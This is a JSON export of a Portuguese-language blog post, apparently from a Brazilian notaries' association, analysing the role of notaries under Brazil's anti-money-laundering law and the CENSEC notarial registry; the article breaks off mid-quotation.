{"id":1169,"date":"2018-03-20T15:00:32","date_gmt":"2018-03-20T18:00:32","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/o-papel-dos-notarios-no-enfrentamento-da-lavagem-de-dinheiro\/"},"modified":"2018-03-20T15:00:32","modified_gmt":"2018-03-20T18:00:32","slug":"o-papel-dos-notarios-no-enfrentamento-da-lavagem-de-dinheiro","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/o-papel-dos-notarios-no-enfrentamento-da-lavagem-de-dinheiro\/","title":{"rendered":"O PAPEL DOS NOT\u00c1RIOS NO ENFRENTAMENTO DA \u201cLAVAGEM\u201d DE DINHEIRO"},"content":{"rendered":"<p><img decoding=\"async\" alt=\"\" class=\"attachment-full size-full wp-post-image\" src=\"http:\/\/blog.notariado.org.br\/wp-content\/uploads\/2018\/03\/lavagem_dinheiro.jpg\" style=\"border:0px; font-family:inherit; font-stretch:inherit; font-style:inherit; font-variant:inherit; font-weight:inherit; height:auto; line-height:inherit; margin:0px; max-width:100%; padding:0px; perspective:1000px; position:relative; transition:all 0.15s ease-in-out; vertical-align:baseline; width:792.188px\" \/><\/p>\n<h2>Artigo escrito por Renata Megda Garcia e Let&iacute;cia Franco Maculan Assump&ccedil;&atilde;o<\/h2>\n<p><strong>1.&nbsp;&nbsp; &nbsp;Introdu&ccedil;&atilde;o<\/strong><br \/>\nA &ldquo;lavagem&rdquo; de dinheiro, codificada na Lei n&ordm; 9.613\/98, &eacute; modalidade criminosa que visa &agrave; oculta&ccedil;&atilde;o de bens, direitos e valores provenientes, direta ou indiretamente, de infra&ccedil;&atilde;o penal. O tipo penal da &ldquo;lavagem&rdquo; elenca em seus par&aacute;grafos diversas condutas essenciais para a capitula&ccedil;&atilde;o desse crime, sem que seja necess&aacute;rio, para ocorrer sua efetiva consuma&ccedil;&atilde;o, que circulem na economia os bens il&iacute;citos dotados de licitude, bastando a simples oculta&ccedil;&atilde;o ou dissimula&ccedil;&atilde;o de sua origem ilegal.<\/p>\n<p>A inser&ccedil;&atilde;o dessa lei no ordenamento jur&iacute;dico brasileiro, em 1998, foi reflexo da ades&atilde;o do pa&iacute;s &agrave; Conven&ccedil;&atilde;o das Na&ccedil;&otilde;es Unidas para Repress&atilde;o do Tr&aacute;fico Internacional de Drogas e subst&acirc;ncias entorpecentes, ocorrida na cidade de Viena, &Aacute;ustria, em 1988. Os signat&aacute;rios dessa Conven&ccedil;&atilde;o ficaram obrigados a tipificar a conduta de &ldquo;lavagem&rdquo; de dinheiro nos seus ordenamentos internos, criando legisla&ccedil;&atilde;o espec&iacute;fica para isso.<\/p>\n<p>Vale aqui um coment&aacute;rio sobre as diverg&ecirc;ncias doutrin&aacute;rias acerca da independ&ecirc;ncia ou n&atilde;o do crime previsto na Lei de &ldquo;lavagem&rdquo; diante de seu crime antecedente que deu proveni&ecirc;ncia aos bens il&iacute;citos. Parte da doutrina defende a n&atilde;o exist&ecirc;ncia de um crime de reciclagem de capitais e que este seria o mero exaurimento do crime anterior, n&atilde;o configurando independ&ecirc;ncia suficiente para suscitar novas capitula&ccedil;&otilde;es, condena&ccedil;&otilde;es e apena&ccedil;&otilde;es para a mesma conduta . Contudo, outra vertente percebe como a complexidade em &ldquo;Ocultar ou dissimular a natureza, origem, localiza&ccedil;&atilde;o, disposi&ccedil;&atilde;o, movimenta&ccedil;&atilde;o ou propriedade de bens, direitos ou valores provenientes, direta ou indiretamente, de infra&ccedil;&atilde;o penal&rdquo; basta para que se configure novo crime, que pode e deve gerar condena&ccedil;&atilde;o independente . Fica aberta a discuss&atilde;o e a reflex&atilde;o, e volta-se para a an&aacute;lise intentada.<\/p>\n<p>No Brasil, al&eacute;m de serem tipificadas as condutas descritas no art. 1&ordm; da Lei 9.613\/98, foi criado o Coaf &ndash; Conselho de Controle de Atividades Financeiras &ndash; no art. 14 desse mesmo dispositivo legal. O Coaf &eacute; a Unidade de Intelig&ecirc;ncia Financeira do pa&iacute;s &ldquo;com a finalidade de disciplinar, aplicar penas administrativas, receber, examinar e identificar as ocorr&ecirc;ncias suspeitas de atividades il&iacute;citas previstas nesta Lei, sem preju&iacute;zo da compet&ecirc;ncia de outros &oacute;rg&atilde;os e entidades&rdquo; . &Eacute; o &oacute;rg&atilde;o para o qual as pessoas f&iacute;sicas e jur&iacute;dicas descritas no art. 9&ordm; da Lei de &ldquo;lavagem&rdquo; devem encaminhar as informa&ccedil;&otilde;es acerca de opera&ccedil;&otilde;es realizadas perante elas, no exerc&iacute;cio de suas fun&ccedil;&otilde;es profissionais, que possam caracterizar, em alguma medida, tentativa de oculta&ccedil;&atilde;o ou dissimula&ccedil;&atilde;o de bens, valores e direitos il&iacute;citos.<\/p>\n<p>Importante salientar que o Coaf n&atilde;o &eacute; uma Unidade investigativa; suas compet&ecirc;ncias s&atilde;o as de &ldquo;receber, examinar e identificar as ocorr&ecirc;ncias suspeitas de atividades il&iacute;citas; comunicar &agrave;s autoridades competentes nas situa&ccedil;&otilde;es em que o Conselho concluir pela exist&ecirc;ncia de crimes de &ldquo;lavagem&rdquo;, oculta&ccedil;&atilde;o de bens, direitos e valores, de fundados ind&iacute;cios de sua pr&aacute;tica ou de qualquer outro il&iacute;cito; coordenar e propor mecanismos de coopera&ccedil;&atilde;o e de troca de informa&ccedil;&otilde;es que viabilizem o combate &agrave; oculta&ccedil;&atilde;o ou dissimula&ccedil;&atilde;o de bens, direitos e valores. O &sect;1&ordm; do art. 14 da Lei tamb&eacute;m atribuiu ao COAF a compet&ecirc;ncia de disciplinar e aplicar penas administrativas nos setores econ&ocirc;micos, previstos na mesma Lei, para os quais n&atilde;o haja &oacute;rg&atilde;o regulador ou fiscalizador pr&oacute;prio.&rdquo; &nbsp;Dessa maneira, os pap&eacute;is investigativos e judiciais dos crimes de &ldquo;lavagem&rdquo; cabem ao Minist&eacute;rio P&uacute;blico e &agrave; Pol&iacute;cia Federal, n&atilde;o ao Coaf.<\/p>\n<p>Ademais, a Lei n&ordm; 9.613\/98 foi modificada em alguns aspectos penais, processuais penais e administrativos pela Lei 12.683\/12. Como exemplo de importante altera&ccedil;&atilde;o, tem-se a exclus&atilde;o do rol de condutas originalmente taxadas no art. 1&ordm; da Lei de &ldquo;lavagem&rdquo;: com a revoga&ccedil;&atilde;o dos incisos do art. 1&ordm;, toda infra&ccedil;&atilde;o penal que levantar bens ou direitos il&iacute;citos pode ser conduta antecedente de &ldquo;lavagem&rdquo; de dinheiro.<\/p>\n<p>A altera&ccedil;&atilde;o que mais interessa a esse trabalho &eacute; a inser&ccedil;&atilde;o de novas pessoas f&iacute;sicas e jur&iacute;dicas &agrave; subordina&ccedil;&atilde;o ao Coaf, no art. 9&ordm; da Lei 9.613\/98. Dentre elas, est&atilde;o as Juntas Comercias e os registros p&uacute;blicos (inciso XIII), n&atilde;o incluindo os Cart&oacute;rios de notas e os de protesto.<\/p>\n<p>Verifica-se, ent&atilde;o, que por estarem os &ldquo;registros p&uacute;blicos&rdquo;, a partir de 2012, elencados no inciso XIII, art. 9&ordm;, da Lei 9.613\/98, sujeitam-se esses tanto &agrave;s obriga&ccedil;&otilde;es de encaminhar ao Coaf informa&ccedil;&otilde;es pertinentes quanto &agrave;s san&ccedil;&otilde;es oriundas do n&atilde;o cumprimento de suas atribui&ccedil;&otilde;es. Destarte, pode-se dizer que os Cart&oacute;rios de Registro nacionais foram promovidos a auxiliares legais no combate &agrave; &ldquo;lavagem&rdquo; de dinheiro. Desenvolver-se-&aacute;, no texto que segue, ideias pertinentes a esse aux&iacute;lio e &agrave; suas consequ&ecirc;ncias.<\/p>\n<p><strong>1.1.&nbsp;&nbsp; &nbsp;Breves exposi&ccedil;&otilde;es sobre as altera&ccedil;&otilde;es pela Lei 12.683\/12<\/strong><br \/>\nA altera&ccedil;&atilde;o com maior pertin&ecirc;ncia ao desenvolvimento deste trabalho &eacute; a relativa ao acr&eacute;scimo do inciso XIII, no art. 9&ordm; da Lei em comento, visto que trata dos Cart&oacute;rios de registro. Contudo, outras altera&ccedil;&otilde;es pontuais merecem aqui destaque pela sua import&acirc;ncia na caracteriza&ccedil;&atilde;o do branqueamento de capitais .<\/p>\n<p>Fala-se do enquadramento do Brasil na 3&ordf; gera&ccedil;&atilde;o de pa&iacute;ses com rela&ccedil;&atilde;o ao crime de &ldquo;lavagem&rdquo; de dinheiro, devido &agrave; exclus&atilde;o do rol de crimes originalmente existentes no art. 1&ordm;. Os pa&iacute;ses de 3&ordf; gera&ccedil;&atilde;o, nesse aspecto, s&atilde;o aqueles que consideram qualquer infra&ccedil;&atilde;o penal (crime ou contraven&ccedil;&atilde;o) como pass&iacute;veis de suscitarem bens il&iacute;citos que possam acarretar &ldquo;lavagem&rdquo; de dinheiro. J&aacute; os pa&iacute;ses de 2&ordf; gera&ccedil;&atilde;o s&atilde;o aqueles que, como o Brasil (at&eacute; 2012), a Alemanha e Portugal, apresentam um rol taxativo de crimes que podem anteceder a conduta de conferir licitude aos bens ilegais. Por fim, caracterizam-se como de 1&ordf; gera&ccedil;&atilde;o &ndash; chamados assim porque apresentaram as primeiras leis no mundo que caracterizam o crime em an&aacute;lise &ndash; os Estados que preveem apenas o tr&aacute;fico de drogas como crime antecedente ao crime de reciclagem.<\/p>\n<p>Sobre as altera&ccedil;&otilde;es processuais penais, elencam-se, aqui, como interessantes modifica&ccedil;&otilde;es (no art. 4&ordm;) a permiss&atilde;o expressa da aliena&ccedil;&atilde;o antecipada de bens e o impedimento de bens mesmo ap&oacute;s comprovada a licitude dos bens investigados, para repara&ccedil;&atilde;o dos danos e para o pagamento de presta&ccedil;&otilde;es pecuni&aacute;rias, multas e custas decorrentes da infra&ccedil;&atilde;o penal. &nbsp;Ademais, nas palavras do Juiz Federal M&aacute;rcio Cavalcante,<br \/>\n&ldquo;O&sect; 1&ordm; do art. 4&ordm; previa que o sequestro e a apreens&atilde;o deveriam ser levantadas (perderiam efic&aacute;cia) se a a&ccedil;&atilde;o penal n&atilde;o fosse proposta pelo Minist&eacute;rio P&uacute;blico no prazo de 120 dias. Essa previs&atilde;o foi retirada pela Lei n. 12.683\/2012. Isso significa que n&atilde;o existe mais prazo para intentar a a&ccedil;&atilde;o penal, salvo se a medida assecurat&oacute;ria implementada foi o sequestro porque nesse caso o C&oacute;digo de Processo Penal estabelece prazo de 60 dias, dispositivo que dever&aacute; ter aplica&ccedil;&atilde;o no caso dos processos por crime de lavagem considerando que n&atilde;o h&aacute; mais regra espec&iacute;fica na Lei n. 9.613\/98.&rdquo;<\/p>\n<p>H&aacute; ainda altera&ccedil;&otilde;es importantes na esfera administrativa, que &eacute; prevista na Lei de &ldquo;lavagem&rdquo; dos arts. 9&ordm; ao 17. No par&aacute;grafo 2&ordm; do art. 12 houve a permiss&atilde;o da tipifica&ccedil;&atilde;o culposa de infra&ccedil;&atilde;o administrativa por n&atilde;o envio ao Coaf de informa&ccedil;&otilde;es pertinentes a a&ccedil;&otilde;es que possam caracterizar ato il&iacute;cito referente ao crime em comento. Portanto, todas as pessoas f&iacute;sicas e jur&iacute;dicas subordinadas diretamente &nbsp;ao Coaf podem ser administrativamente sancionadas por esse n&atilde;o encaminhamento advindo de culpa stricto sensu. Tradicionalmente, discutia-se o dolo eventual nesse aspecto, utilizando-se da &ldquo;Teoria da Cegueira Deliberada&rdquo; . Entretanto, com o acr&eacute;scimo expresso do termo &ldquo;culpa&rdquo; no art. 12, silenciou-se tal discuss&atilde;o no que concerne ao crime de &ldquo;lavagem&rdquo; de dinheiro.<\/p>\n<p>Modifica&ccedil;&atilde;o pol&ecirc;mica pela Lei 12.683\/12 foi o acr&eacute;scimo do art. 17-D &agrave; Lei 9.613\/98. Diz esse dispositivo que: &ldquo;Art. 17-D. Em caso de indiciamento de servidor p&uacute;blico, este ser&aacute; afastado, sem preju&iacute;zo de remunera&ccedil;&atilde;o e demais direitos previstos em lei, at&eacute; que o juiz competente autorize, em decis&atilde;o fundamentada, o seu retorno.&rdquo; Grande foi a discuss&atilde;o acerca da inconstitucionalidade dessa previs&atilde;o de afastamento cautelar apenas por indiciamento (instituto penal que, pela n&atilde;o exposi&ccedil;&atilde;o de seus requisitos e formalidades no C&oacute;digo de Processo Penal, &eacute; pouco utilizado). Em verdade, houve uma A&ccedil;&atilde;o Direta de Inconstitucionalidade proposta pela Associa&ccedil;&atilde;o Nacional dos Procuradores da Rep&uacute;blica (ANPR), sob o n&ordm;4911, com relatoria do ministro Ricardo Lewandowski , mas a an&aacute;lise aprofundada do m&eacute;rito da quest&atilde;o n&atilde;o interessa para os fins deste artigo.<\/p>\n<p>Finalmente, tamb&eacute;m em 2012 houve a inser&ccedil;&atilde;o dos registros p&uacute;blicos como legalmente subordinados &agrave; autoridade do Coaf. Como j&aacute; dito no t&oacute;pico &ldquo;1&rdquo; deste trabalho, essa modifica&ccedil;&atilde;o trouxe a possibilidade de os Oficiais de registro serem administrativamente sancionados pelo n&atilde;o envio de informa&ccedil;&otilde;es &agrave; Unidade de Intelig&ecirc;ncia Financeira nacional. As san&ccedil;&otilde;es administrativas, por sua vez, est&atilde;o previstas no art. 12 e envolvem a advert&ecirc;ncia, o pagamento de multa pecuni&aacute;ria e a cassa&ccedil;&atilde;o ou suspens&atilde;o da autoriza&ccedil;&atilde;o para exerc&iacute;cio da atividade profissional. Sobre os not&aacute;rios, examinaremos neste artigo que a exist&ecirc;ncia de uma central nacional de atos notariais e a comunica&ccedil;&atilde;o das procura&ccedil;&otilde;es lavradas por pessoas jur&iacute;dicas &agrave; Junta Comercial j&aacute; afasta a necessidade de sua inclus&atilde;o desses agentes p&uacute;blicos no rol taxativo do art. 9&ordm; da Lei 9.613\/98.<\/p>\n<p><strong>2.&nbsp;&nbsp; &nbsp;A previs&atilde;o culposa e a possibilidade de assun&ccedil;&atilde;o da posi&ccedil;&atilde;o de garantidor<\/strong><br \/>\nCom a permiss&atilde;o da aplica&ccedil;&atilde;o de san&ccedil;&atilde;o administrativa a atos praticados de maneira culposa pelos agentes taxados no art. 9&ordm; da Lei 9.613\/98, abre-se a possibilidade de discuss&atilde;o de modalidade de &ldquo;lavagem&rdquo; de dinheiro por omiss&atilde;o impr&oacute;pria das pessoas f&iacute;sicas e jur&iacute;dicas elencadas na Lei. Esse tipo de conduta se caracteriza, de acordo com o art. 13, par&aacute;grafo 2&ordm;, do C&oacute;digo penal, pela exist&ecirc;ncia do dever do agente de impedir o resultado, quando ele tenha por lei a obriga&ccedil;&atilde;o de cuidado, prote&ccedil;&atilde;o ou vigil&acirc;ncia, ou de outra forma assumiu a responsabilidade de evitar o resultado, ou ainda que ele pr&oacute;prio crie o risco de ocorr&ecirc;ncia do resultado com seu comportamento anterior.<\/p>\n<p>Excluindo a necessidade do dolo na a&ccedil;&atilde;o, uma desaten&ccedil;&atilde;o ao dever objetivo de cuidado de enviar informa&ccedil;&otilde;es ao Coaf, na esfera administrativa, associada ao art. 13 do C&oacute;digo Penal, pode caracterizar uma situa&ccedil;&atilde;o de omiss&atilde;o impr&oacute;pria da pessoa que n&atilde;o fez o correto encaminhamento. Isso porque pode considerar-se que a &ldquo;lavagem&rdquo; de capitais s&oacute; foi consumada pela ignor&acirc;ncia do Coaf em rela&ccedil;&atilde;o &agrave;s transa&ccedil;&otilde;es suspeitas ocorridas e n&atilde;o relatadas a ele (impedindo, assim, sua a&ccedil;&atilde;o direcionada ao impedimento da continua&ccedil;&atilde;o da realiza&ccedil;&atilde;o da conduta criminosa), demonstrando-se um nexo de causalidade entre a omiss&atilde;o do agente e a consuma&ccedil;&atilde;o do crime.<\/p>\n<p>Nesse sentido, forte &eacute; a discuss&atilde;o acerca da responsabilidade advinda da omiss&atilde;o relevante nos casos de compliance , que abrange t&atilde;o somente as institui&ccedil;&otilde;es financeiras e as empresas de capital aberto, n&atilde;o incluindo os registros p&uacute;blicos, objetos deste trabalho. Portanto, diante da escassez doutrin&aacute;ria nacional acerca do tema desejado, aplicar-se-&aacute; de forma anal&oacute;gica as ideias e os conceitos relativos &agrave; possibilidade de responsabilidade de garantidor no compliance.<\/p>\n<p>Segundo Bottini e Badar&oacute;, a defini&ccedil;&atilde;o do dever de instituir mecanismos internos para &ldquo;evitar a pr&aacute;tica de lavagem de dinheiro&rdquo; (nos termos do art. 10, III) estabelece apenas uma &ldquo;obriga&ccedil;&atilde;o de contribuir com as autoridades de investiga&ccedil;&atilde;o &ndash; sistematizando informa&ccedil;&otilde;es e informando atividades suspeitas &ndash; e n&atilde;o o dever de impedir pr&aacute;ticas de lavagem&rdquo; . Portanto, n&atilde;o haveria uma atribui&ccedil;&atilde;o expressa, na Lei 9.613\/98, do dever de garantia e do dever de se abster de praticar conduta que possa caracterizar o crime. Dessa forma, condutas que n&atilde;o sejam dolosamente comissivas n&atilde;o teriam o cond&atilde;o da caracteriza&ccedil;&atilde;o criminosa. Na mesma linha, veja-se o seguinte aresto:<\/p>\n<p>HABEAS CORPUS. PROCESSO PENAL. COMPET&Ecirc;NCIA. JUSTI&Ccedil;A FEDERAL. CRIME DE GEST&Atilde;O FRAUDULENTA DE INSTITUI&Ccedil;&Atilde;O FINANCEIRA E &ldquo;LAVAGEM&rdquo; OU OCULTA&Ccedil;&Atilde;O DE BENS, DIREITOS E VALORES. CONEX&Atilde;O. ARTIGO 76, INCISO III, DO CPP. ENUNCIADOS 122 DO STJ E 704 DO STF. A&Ccedil;&Atilde;O PENAL.TRANCAMENTO. POSSIBILIDADE. IN&Eacute;PCIA DA DEN&Uacute;NCIA. (&hellip;) 3. N&atilde;o se observa na narrativa ministerial a exist&ecirc;ncia de qualquer indicativo de rela&ccedil;&atilde;o entre o paciente e as pr&aacute;ticas de gest&atilde;o fraudulenta de institui&ccedil;&atilde;o financeira ou mesmo de sua eventual participa&ccedil;&atilde;o no crime de &ldquo;lavagem&rdquo; de dinheiro; invi&aacute;vel, pois, a instaura&ccedil;&atilde;o da persecutio criminis perante o ju&iacute;zo, se ausente aquele m&iacute;nimo necess&aacute;rio de convic&ccedil;&atilde;o do dominus litis &ndash; que se traduz, por &oacute;bvio, na apresenta&ccedil;&atilde;o, na pe&ccedil;a vestibular acusat&oacute;ria, de ind&iacute;cios suficientes da autoria e materialidade; 4. Ordem parcialmente concedida para trancar a a&ccedil;&atilde;o penal em rela&ccedil;&atilde;o ao paciente, no que toca aos crimes previstos nos artigos 4&ordm; da Lei 7.492\/86 (&ldquo;gest&atilde;o fraudulenta de institui&ccedil;&atilde;o financeira&rdquo;) e 1&ordm;, inciso V e &sect;4&ordm;, da Lei 9.613\/98 (&ldquo;lavagem ou oculta&ccedil;&atilde;o de bens, direitos e valores&rdquo;), posto que, no ponto, mostra-se inepta a den&uacute;ncia oferecida, nos termos do artigo 43, inciso III, do C&oacute;digo de Processo Penal.&rdquo; &nbsp;(Grifos nossos).<\/p>\n<p>Em sentido contr&aacute;rio, ensina Blanco Cordero que<br \/>\n&ldquo;(&hellip;) se puede decir que los representantes ante ao SEPBLAC constituyen un eslab&oacute;n esencial en la denominada cadena antiblanqueo, cuyo objetico esencial es prevenirlo y facilitar su investigaci&oacute;n. Ellos son el origen de la presentaci&oacute;n de las comunicaciones de operaciones sospechosas de estar vinculadas al blanqueo de capitales, y les corresponde una tarea de vigilantes de dicha cadena (gatekeepers) (Verhage, 2009 a, 119). Son ellos quienen deciden, desde su especial posici&oacute;n en la instituici&oacute;n, si se deben comunicar determinadas operaciones al SEPBLAC , lo que puede suponer el inicio de una investigaci&oacute;n policial o judicial por la comisi&oacute;n de un delito.&rdquo; &nbsp;(Grifos nossos.)<\/p>\n<p>Nota-se que o penalista espanhol relaciona a obriga&ccedil;&atilde;o de prevenir o crime ao superior hier&aacute;rquico respons&aacute;vel pelas institui&ccedil;&otilde;es subordinadas ao envio de informa&ccedil;&atilde;o &agrave; Unidade de Intelig&ecirc;ncia Financeira respectiva. Nessa vis&atilde;o, perfeitamente cab&iacute;vel seria a condena&ccedil;&atilde;o por conduta omissiva impr&oacute;pria em rela&ccedil;&atilde;o ao crime de &ldquo;lavagem&rdquo; desses respons&aacute;veis. Sobre esse ponto, proferiu a Ministra Carmen L&uacute;cia a seguinte decis&atilde;o, na qual elenca como uma garantia da ordem p&uacute;blica a interrup&ccedil;&atilde;o de conduta criminosa:<\/p>\n<p>A necessidade de se interromper ou diminuir a atua&ccedil;&atilde;o de integrantes de organiza&ccedil;&atilde;o criminosa, enquadra-se no conceito de garantia da ordem p&uacute;blica, constituindo fundamenta&ccedil;&atilde;o cautelar id&ocirc;nea e suficiente para a pris&atilde;o preventiva. (HC n.95.024\/SP, Primeira Turma, Rel&ordf; Ministra C&aacute;rmen L&uacute;cia, DJe de20\/2\/2009).<\/p>\n<p>Ainda nessa segunda argumenta&ccedil;&atilde;o, j&aacute; entendeu o Superior Tribunal de Justi&ccedil;a que:<\/p>\n<p>PENAL E PROCESSUAL. CORRUP&Ccedil;&Atilde;O PASSIVA, LAVAGEM DE DINHEIRO, CRIME CONTRA O SISTEMA FINANCEIRO. A&Ccedil;&Atilde;O PENAL ORIGIN&Aacute;RIA. LEI 8.038\/90. DEFESA PRELIMINAR. RECEBIMENTO DA PE&Ccedil;A ACUSAT&Oacute;RIA. ATO DECIS&Oacute;RIO. NECESSIDADE DE FUNDAMENTA&Ccedil;&Atilde;O. NULIDADE. AUS&Ecirc;NCIA DE JUSTA CAUSA. PROVA PR&Eacute;-CONSTITU&Iacute;DA DE INOC&Ecirc;NCIA DO R&Eacute;U. TRANCAMENTO. (&hellip;) Comprovado de plano, por meio de prova pr&eacute;-constitu&iacute;da, que o denunciado n&atilde;o mais era diretor-financeiro da empresa investigada, ao tempo das infra&ccedil;&otilde;es narradas na den&uacute;ncia, n&atilde;o pode ser responsabilizado por fato delituoso ao qual n&atilde;o deu causa. Intelig&ecirc;ncia do artigo 13 do C&oacute;digo Penal. (HC 29.937\/RJ, Rel. Ministro PAULO MEDINA, SEXTA TURMA, julgado em 09\/12\/2005, DJ 11\/06\/2007, p. 378).<\/p>\n<p>Veja que, neste caso, a n&atilde;o responsabiliza&ccedil;&atilde;o do agente se deu por sua n&atilde;o ocupa&ccedil;&atilde;o do cargo de diretor-financeiro. Do contr&aacute;rio, se ainda ocupasse esse cargo, o denunciado seria pass&iacute;vel de responsabiliza&ccedil;&atilde;o por sua posi&ccedil;&atilde;o de garantidor assumida.<\/p>\n<p>Importante salientar que o afastamento da possibilidade de condena&ccedil;&atilde;o pela modalidade omissiva impr&oacute;pria n&atilde;o interfere na tipifica&ccedil;&atilde;o da conduta por participa&ccedil;&atilde;o colaborativa na pr&aacute;tica do crime.<\/p>\n<p>Diante do exposto, na aus&ecirc;ncia de assentamento jurisprudencial acerca da possibilidade ou n&atilde;o de condena&ccedil;&atilde;o por &ldquo;lavagem&rdquo; de dinheiro omissiva impr&oacute;pria nos casos de pessoas elencadas na Lei (diferentes das institui&ccedil;&otilde;es financeiras e das empresas de capital aberto), instaura-se a d&uacute;vida quanto ao tratamento do tema no caso concreto. Por essa inseguran&ccedil;a jur&iacute;dica, acrescenta-se &ndash; &agrave; opini&atilde;o contr&aacute;ria &agrave; inclus&atilde;o dos Cart&oacute;rios de notas no rol taxativo do art. 9&ordm; da Lei 9.613\/98 &ndash; o fato de que tal inser&ccedil;&atilde;o traria grande e desnecess&aacute;ria inseguran&ccedil;a de atua&ccedil;&atilde;o aos tabeli&atilde;es (assim como j&aacute; traz aos Oficiais de Registro). Essa n&atilde;o necessidade ser&aacute; explorada no t&oacute;pico abaixo.<\/p>\n<p><strong>3. A fun&ccedil;&atilde;o notarial&nbsp;<\/strong><br \/>\nA fun&ccedil;&atilde;o notarial apresenta, simultaneamente, v&aacute;rias caracter&iacute;sticas, constituindo fun&ccedil;&atilde;o jur&iacute;dica, cautelar, t&eacute;cnica, rogat&oacute;ria, p&uacute;blica e imparcial. &Eacute; fun&ccedil;&atilde;o jur&iacute;dica, pois quem a realiza &eacute; um profissional do Direito. O not&aacute;rio tem a miss&atilde;o de moldar a vontade das partes &agrave; lei. Deve tamb&eacute;m zelar pela autonomia da vontade daqueles que o procuram, assegurando a igualdade, bem como a livre manifesta&ccedil;&atilde;o da vontade, devendo recusar-se a praticar o ato no caso de verificar que a vontade est&aacute; eivada de algum v&iacute;cio . A fun&ccedil;&atilde;o cautelar se manifesta na preven&ccedil;&atilde;o de futuros lit&iacute;gios, evitando demandas sobre o assunto objeto do ato no qual ele interv&eacute;m, sendo importante instrumento de pacifica&ccedil;&atilde;o social. O not&aacute;rio, no exerc&iacute;cio regular de sua fun&ccedil;&atilde;o, previne os riscos que a incerteza jur&iacute;dica possa acarretar aos seus clientes. A qualidade t&eacute;cnica refere-se ao respeito aos institutos jur&iacute;dicos que regulamentam a mat&eacute;ria. A atua&ccedil;&atilde;o do tabeli&atilde;o depende da perfei&ccedil;&atilde;o do tecnicismo, exigindo conhecimento por parte do profissional dos institutos jur&iacute;dicos e dos modos de realiza&ccedil;&atilde;o do Direito: trata-se da observ&acirc;ncia da t&eacute;cnica jur&iacute;dica. Trata-se de fun&ccedil;&atilde;o rogat&oacute;ria porque o tabeli&atilde;o n&atilde;o pode agir de of&iacute;cio, mas apenas se solicitado pelo interessado. Sobre a imparcialidade, &eacute; a caracter&iacute;stica segundo a qual o not&aacute;rio deve conduzir sua atividade com de forma a garantir a igualdade e eq&uuml;idist&acirc;ncia de todas as partes envolvidas no neg&oacute;cio que reclama a sua interven&ccedil;&atilde;o, devendo essa imparcialidade ir al&eacute;m mesmo das partes, pois o not&aacute;rio tem um dever tamb&eacute;m perante terceiros n&atilde;o vinculados diretamente, dentre os quais o Estado. (BRANDELLI, 1998, p. 128 &ndash; 132)<\/p>\n<p>A publicidade &nbsp;do ato notarial &eacute; aquela dada a pessoa determinada que possa ter algum interesse naquele ato, sendo denominada publicidade passiva. Nesse tipo de publicidade, o not&aacute;rio ou registrador aguarda o pedido feito pelo interessado e disponibiliza a informa&ccedil;&atilde;o mediante a expedi&ccedil;&atilde;o de certid&otilde;es ou ainda, mais recentemente, mediante o lan&ccedil;amento de dados em centrais (no caso dos Not&aacute;rios, a CENSEC &ndash; Central Notarial de Servi&ccedil;os Eletr&ocirc;nicos Compartilhados ), onde tal informa&ccedil;&atilde;o resta dispon&iacute;vel aos &oacute;rg&atilde;os p&uacute;blicos ou &agrave;s pessoas que dela necessitem.<\/p>\n<p>Walter Ceneviva ensina: &ldquo;A publicidade legal pr&oacute;pria da escritura notarial registrada &eacute;, em regra, passiva. Est&aacute; aberta aos interessados em conhec&ecirc;-la, mas cognosc&iacute;vel por todos ante a oponibilidade afirmada em lei.&rdquo; (CENEVIVA, 2014, p. 43)<\/p>\n<p>Loureiro tamb&eacute;m esclarece que a publicidade &eacute; atividade que tem como objetivo a &ldquo;cognoscibilidade&rdquo;, afirmando que o melhor termo &eacute; cognoscibilidade e n&atilde;o conhecimento, porque o efetivo conhecimento depender&aacute; da atitude e da vontade do destinat&aacute;rio em conhecer aquilo a que &eacute; dada publicidade. Assim, a publicidade assegura um conhecimento potencial, presumido. (LOUREIRO, 2014, p. 22)<\/p>\n<p>A publicidade passiva contrap&otilde;e-se &agrave; publicidade ativa, em que o not&aacute;rio ou registrador age para dar publicidade geral, publicando em jornal uma informa&ccedil;&atilde;o. A publicidade ativa &eacute; a exce&ccedil;&atilde;o em se tratando de registros p&uacute;blicos. Ceneviva esclarece que:<\/p>\n<p>&ldquo;Assim &eacute; com a publicidade do loteamento, prevista na Lei n. 6766\/79 &ndash; Lei do Parcelamento do Solo Urbano, cujo art. 19 imp&otilde;e a divulga&ccedil;&atilde;o ativa do empreendimento, para assegurar aos terceiros o direito de impugnarem o pedido de registro. No mesmo sentido, a incorpora&ccedil;&atilde;o condominial (Lei n. 4.591\/64 &ndash; Lei dos Condom&iacute;nios e Incorpora&ccedil;&otilde;es, arts. 62 e 32, &sect; 3&ordm;).&rdquo; (CENEVIVA, 2014, p. 43)<\/p>\n<p>A publicidade &eacute; um instrumento de garantia de efic&aacute;cia dos atos notariais e registrais, oferecendo maior seguran&ccedil;a ao que se acha produzido ou registrado, posto que, tendo sido lavrado ou registrado o ato, est&aacute; ele &agrave; disposi&ccedil;&atilde;o de todos para conhecimento e confer&ecirc;ncia. (VELOSO, 2017, p. 114)<br \/>\nCom a exist&ecirc;ncia da CENSEC, podemos afirmar que a cognoscibilidade do ato notarial est&aacute; maior, sendo poss&iacute;vel, por meio de acesso ao referido banco de dados, localizar um ato notarial lavrado em qualquer parte do territ&oacute;rio nacional.<\/p>\n<p>Assim, tendo em vista as caracter&iacute;sticas da fun&ccedil;&atilde;o notarial, podemos afirmar que somente dever&aacute; ser praticado um ato se o not&aacute;rio verificar que se trata de ato regular, conforme a lei, que n&atilde;o esteja eivado de nulidade e que esteja adequado &agrave; vontade das partes. Obviamente, podem existir ilicitudes que n&atilde;o sejam percept&iacute;veis pelo not&aacute;rio, como, por exemplo, uma coa&ccedil;&atilde;o ou uma simula&ccedil;&atilde;o da qual ele n&atilde;o tenha conhecimento. Nesses casos, a publicidade do ato garante que os interessados possam agir para afastar a ilegalidade.<\/p>\n<p>4. Os Provimentos ns. 18, 42 do Conselho Nacional de Justi&ccedil;a no contexto do enfrentamento &agrave; &ldquo;lavagem&rdquo; de dinheiro<br \/>\nNo ano da promulga&ccedil;&atilde;o da lei 12.683, qual seja, 2012, foi emitido pelo Conselho Nacional de Justi&ccedil;a (CNJ) o provimento n. 18, que criou a CENSEC &ndash; Central Notarial de Servi&ccedil;os Eletr&ocirc;nicos Compartilhados, que tem como objetivos (elencados nos incisos I a V de seu art. 1&ordm;):<br \/>\n&ldquo;[&hellip;]\nI. interligar as serventias extrajudiciais brasileiras que praticam atos notariais, permitindo o interc&acirc;mbio de documentos 